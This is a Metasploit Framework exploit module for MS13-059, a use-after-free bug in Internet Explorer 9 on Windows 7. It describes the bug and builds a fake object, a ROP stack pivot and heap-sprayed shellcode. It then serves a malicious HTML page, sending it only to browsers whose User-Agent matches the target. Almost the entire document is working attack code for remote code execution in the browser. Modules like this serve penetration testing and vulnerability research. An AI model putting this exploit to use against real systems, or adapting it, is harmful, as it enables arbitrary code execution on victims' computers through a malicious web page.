MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::RopDb

def initialize(info={})

super(update_info(info,

'Name' => "MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free",

'Description' => %q{

This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9,

it seems to only affect certain releases of mshtml.dll. For example: This module

can be used against version 9.0.8112.16446, but not for 9.0.8112.16421. IE 8

requires a different way to trigger the vulnerability, but not currently covered

by this module.

The issue is specific to the browser's IE7 document compatibility, which can be

defined in X-UA-Compatible, and the content editable mode must be enabled. An

"onmove" event handler is also necessary to be able to trigger the bug, and the

event will be run twice before the crash. The first time is due to the position

change of the body element, which is also when a MSHTML!CFlatMarkupPointer::`vftable'

object is created during a "SelectAll" command, and this object will be used later

on for the crash. The second onmove event seems to be triggered by a InsertButton

(or Insert-whatever) command, which is also responsible for the free of object

CFlatMarkupPointer during page rendering. The EnsureRecalcNotify() function will

then still return an invalid reference to CFlatMarkupPointer (stored in EBX), and

then passes this on to the next functions (GetLineInfo -> QIClassID). When this

reference arrives in function QIClassID, an access violation finally occurs when

the function is trying to call QueryInterface() with the bad reference, and this

results a crash. Successful control of the freed memory may leverage arbitrary code

execution under the context of the user.

Note: It is also possible to see a different object being freed and used, doesn't

always have to be CFlatMarkupPointer.

},

'License' => MSF_LICENSE,

'Author' =>

[

'corelanc0d3r', # Vuln discovery, PoC

'sinn3r' # Metasploit

],

'References' =>

[

[ 'CVE', '2013-3184' ],

[ 'OSVDB', '96182' ],

[ 'MSB', 'MS13-059' ],

[ 'BID', '61668' ],

[ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-13-194/' ],

[ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-13-195/' ]

],

'Platform' => 'win',

'Targets' =>

[

# Vulnerable IE9 tested: 9.0.8112.16446

[ 'Automatic', {} ],

[ 'IE 9 on Windows 7 SP1 (mshtml 9.0.8112.16446)', {} ]

],

'Payload' =>

{

'BadChars' => "\x00",

'StackAdjustment' => -3500

},

'DefaultOptions' =>

{

'InitialAutoRunScript' => 'migrate -f'

},

'Privileged' => false,

'DisclosureDate' => "Jun 27 2013",

'DefaultTarget' => 0))

end

def rnd_dword

rand_text_alpha(4).unpack("V").first

end

def get_fake_obj

# edx,dword ptr [eax]

# ...

# call edx

obj = [0x20302020].pack("V*") # EAX points to this (Target spray 0x20302020)

obj << [rnd_dword].pack("V*")

return obj

end

# Target spray 0x20302020

# ESI is our fake obj, with [esi]=0x20302020, [esi+4]=0x42424242, so on

# eax=20302020 ebx=80004002 ecx=0250d890 edx=cccccccc esi=03909b68 edi=0250d8cc

# eip=cccccccc esp=0250d87c ebp=0250d8a8 iopl=0 nv up ei ng nz na po cy

# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010283

# cccccccc ?? ???

def get_payload

code = ''

code << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000

code << "\x61\x9d" # popad; popfd

code << payload.encoded

stack_pivot = [

0x7c342643, # xchg eax, esp; pop edi; add [eax], al, pop ecx; ret

0x0c0c0c0c

].pack("V*")

p = generate_rop_payload('java', code, {'pivot'=>stack_pivot})

return p

end

def is_win7_ie9?(agent)

(agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/)

end

# The meta-refresh seems very necessary to make the object overwrite more reliable.

# Without it, it only gets about 50/50

def get_html(cli, req)

js_fake_obj = ::Rex::Text.to_unescape(get_fake_obj, ::Rex::Arch.endian(target.arch))

js_payload = ::Rex::Text.to_unescape(get_payload, ::Rex::Arch.endian(target.arch))

html = %Q|

<html>

<meta http-equiv="X-UA-Compatible" content="IE=7"/>

<meta http-equiv="refresh" content="2"/>

<head>

<script language='javascript'>

#{js_property_spray}

var fake_obj = unescape("#{js_fake_obj}");

var s = unescape("#{js_payload}");

sprayHeap({shellcode:s});

function setupPage() {

document.body.style.position = 'absolute';

document.body.contentEditable = 'true';

document.body.style.right = '1';

}

function hitMe() {

document.execCommand('SelectAll');

document.execCommand('InsertButton');

sprayHeap({shellcode:fake_obj, heapBlockSize:0x10});

document.body.innerHTML = '#{Rex::Text.rand_text_alpha(1)}';

}

</script>

</head>

<body onload="setupPage()" onmove="hitMe()" />

</html>

|

html.gsub(/^\t\t/, '')

end

def on_request_uri(cli, request)

if is_win7_ie9?(request.headers['User-Agent'])

print_status("Sending exploit...")

send_response(cli, get_html(cli, request), {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})

else

print_error("Not a suitable target: #{request.headers['User-Agent']}")

send_not_found(cli)

end